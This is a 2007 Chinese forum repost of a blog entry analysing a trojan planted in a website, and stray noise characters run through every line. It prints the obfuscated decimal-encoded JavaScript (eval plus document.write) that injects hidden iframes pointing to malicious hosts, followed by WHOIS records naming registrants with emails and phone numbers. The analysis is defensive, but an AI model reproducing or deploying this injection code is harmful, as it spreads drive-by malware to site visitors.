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[原创]一篇刚写的分析木马手记

卫
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首发在我的博客里面, Cx@);4arj  
Q^9_' t}X  
http://www.areway.cn/?p=175 / |;RV"  
_lJ!R:*  
17%,7P9pg  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: >reU#j  
          /$xU  
<script>t=’60,105,102,114,97,109,101, GbY7_N  
32,115,114,99,61,104,116,116,112,58,47,47,  lHY+}v0  
102,114,101,101,46,117,45,117,117,117,46,99, `_Zg3_K.dS  
110,47,101,114,114,111,114,46,104,116,109, jP$a_hW  
32,119,105,100,116,104,61,49,48,48,32,104, p SH=%u>  
101,105,103,104,116,61,48,62,60,47,105,102, Eak$u>Fd8c  
114,97,109,101,62′; hB]Np1('  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> D(@S+r_ota  
                                                                                                  j ?3wvw6T  
<script>t=’60,105,102,114,97,109,101,32,115, ` xEx^P^7  
114,99,61,104,116,116,112,58,47,47,102,114, $kdB |4C  
101,101,46,117,45,117,117,117,46,99,110,47, g#pr yYz  
101,114,114,111,114,46,104,116,109,32,119, O-0x8O^B  
105,100,116,104,61,49,48,48,32,104,101,105, ?DS@e@lx  
103,104,116,61,48,62,60,47,105,102,114,97, r ,8 [O  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); x/I%2F  
document.write(t);</script> B?gOHG*vd>  
                                                                                                  $Ps|HN  
<html xmlns=” Af~$TyX  
http://www.w3.org/1999/xhtml -e"H ^:  
“> 6xx<Y2@  
<head> ~~/|dh5  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 9IdA%RM~mH  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> \$~|ZwV{  
<title>首页 - 爱生活家庭网 $t'MSlF  
                                                                                                                                                    y4 #>X  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 R6<X%*&%  
转换字符串后的大概内容是(谁点击后果自付): }z'8Bu  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… j;+b0(53  
                                                                                                                                  $lfn(b,  
查询玉米u-uuu.cn的详细信息: _2Zx?<] 2E  
Domain Name: u-uuu.cn h9&0Z +zs  
ROID: 20070901s10001s64972306-cn !3c\NbU  
Domain Status: ok 1Z/(G1  
Registrant Organization: 王雷 13$%,q)  
Registrant Name: 王雷 u OmtyX  
Administrative Email: czlovexs@126.com R3)~?X1n  
Sponsoring Registrar: 北京万网志成科技有限公司 gS!:+G%  
Name Server:ns.yovole.com >;aWz%-  
Name Server:ns1.yovole.com z3{G9Np  
Registration Date: 2007-09-01 17:54 n:I,PS0H<  
Expiration Date: 2008-09-01 17:54 Q",t3i4  
最后PING了一下地址 都没有什么…. ^KnU4sD  
                                                                                                .ljnDL/  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. pGP7nw_g  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> jh?H.;**  
<script language=”javascript” src=” Y #ap*  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script :DK {Vg6  
> 8?B!2  
这个玉米应该有可能是木马作者的: K e;E1S-~  
foafau.info的详细信息: "b~+;<}Q  
Access to INFO WHOIS information is provided to assist persons in r Xt}6[S  
determining the contents of a domain name registration record in the g>E LGG |Q  
Afilias registry database. The data in this record is provided by k{R>  
Afilias Limited for informational purposes only, and Afilias does not 0mYXv4 <  
guarantee its accuracy.  This service is intended only for query-based [t m_Mg  
access. You agree that you will use this data only for lawful purposes 6IN e@  
and that, under no circumstances will you use this data to: (a) allow, \S `:y?[Y  
enable, or otherwise support the transmission by e-mail, telephone, or yM6pd U]i  
facsimile of mass unsolicited, commercial advertising or solicitations <VMGTBVQ  
to entities other than the data recipient’s own existing customers; or jKz$@gP  
(b) enable high volume, automated, electronic processes that send G{As,`{  
queries or data to the systems of Registry Operator, a Registrar, or 4@+`q *  
Afilias except as reasonably necessary to register domain names or CCs%%U/=  
modify existing registrations. All rights reserved. Afilias reserves NR$3%0 nC6  
the right to modify these terms at any time. By submitting this query, >4x(e\B  
you agree to abide by this policy. Pa>AWOG'  
Domain ID:D22418703-LRMS X~b X5b[P  
Domain Name:FOAFAU.INFO CImWd.W9~  
Created On:20-Nov-2007 16:05:42 UTC `P@<3]  
Last Updated On:20-Nov-2007 16:05:44 UTC Y,qI@n<  
Expiration Date:20-Nov-2008 16:05:42 UTC hk;5w{t}}  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) h ]5(].  
Status:CLIENT DELETE PROHIBITED Q^P}\wb>  
Status:CLIENT RENEW PROHIBITED nUaJzPl  
Status:CLIENT TRANSFER PROHIBITED '&P%C" 5  
Status:CLIENT UPDATE PROHIBITED Y1 w9y  
Status:TRANSFER PROHIBITED v4!VrI  
Registrant ID:GODA-040110615 % "i(K@  
Registrant Name:liu hong d(ZO6Nr Q  
Registrant Organization: ^`i#$  
Registrant Street1:beijing ^x]r`b  
Registrant Street2: :I]Mps<  
Registrant Street3: B9_ X;c  
Registrant City:beijing !NK1MU?T)  
Registrant State/Province: ~Py`P'+  
Registrant Postal Code:100000 ;DQ ZT  
Registrant Country:CN  \{_q.;}  
Registrant Phone:+86.860108888777 RT4x\&q  
Registrant Phone Ext.: q_:4w$>  
Registrant FAX: mX"oW_EK  
Registrant FAX Ext.: M/B_#yK  
Registrant Email:bbbshiji@163.com TIqtF&@o4  
Admin ID:GODA-240110615 /$Ir5=B  
Admin Name:liu hong ^cC,.Fdw  
Admin Organization: {S]}.7`l9(  
Admin Street1:beijing OU\~::  
Admin Street2: *g"Nq+i@  
Admin Street3: 1/B>XkCJ  
Admin City:beijing U7,e/?a  
Admin State/Province: |w~nVRb  
Admin Postal Code:100000 EmWn%eMN  
Admin Country:CN AG nxYV"p  
Admin Phone:+86.860108888777 f3l&3hC  
Admin Phone Ext.: P7bMIe  
Admin FAX: zy?|ODM  
Admin FAX Ext.: 5:[0z5Hww  
Admin Email:bbbshiji@163.com [C 7^r3w  
Billing ID:GODA-340110615 f].h^ ~.q  
Billing Name:liu hong PA{PD.4Du  
Billing Organization: dw>C@c#"  
Billing Street1:beijing _ gR;=~S  
Billing Street2: KJUH(]>F  
Billing Street3: D(op)]8  
Billing City:beijing C\3rJy(VJ  
Billing State/Province: FW;?s+Uyx  
Billing Postal Code:100000 )2KF}{  
Billing Country:CN S&5&];Ag  
Billing Phone:+86.860108888777 H\"sgoJ  
Billing Phone Ext.: [o#oa k{U  
Billing FAX: h]&GLb&<?  
Billing FAX Ext.: hg]]Ok~cAs  
Billing Email:bbbshiji@163.com 3PWL@>zi  
Tech ID:GODA-140110615 W &W5lArr  
Tech Name:liu hong #<"~~2?  
Tech Organization: JPI3[.o  
Tech Street1:beijing |)DGkOtd  
Tech Street2: mkk6`,ov  
Tech Street3: sRR( `0Zp  
Tech City:beijing G^|:N[>B  
Tech State/Province: .[KrlfI  
Tech Postal Code:100000 F@jZ ho  
Tech Country:CN VR8-&N  
Tech Phone:+86.860108888777 WF+99?75  
Tech Phone Ext.: ;W )Y OT  
Tech FAX: ij`w} V  
Tech FAX Ext.: ea2ayT  
Tech Email:bbbshiji@163.com 9Q^r O26+  
Name Server:NS27.DOMAINCONTROL.COM K=Z|/Kkh  
Name Server:NS28.DOMAINCONTROL.COM )gUR@V>e2  
Name Server: \fLMr\LL&  
Name Server: \A#41  
Name Server: Igt#V;kK"2  
Name Server: LKB$,pR~1l  
Name Server: \;,+   
Name Server: cGzPI +F  
Name Server: U[-o> W#  
Name Server: i v38p%Zm  
Name Server: :uS\3toj  
Name Server: =U9*'EFr  
Name Server: &vMb_;~B  
                                                                                                          / &5,3rU.G  
接着下载每个文件里面的代码: r.&Vw|*>  
一步一步看.. [#vH'y  
#$07:UJ  
B)g[3gQ  
N0Lw}@p  
!dnH 7 "  
e\l7Iu  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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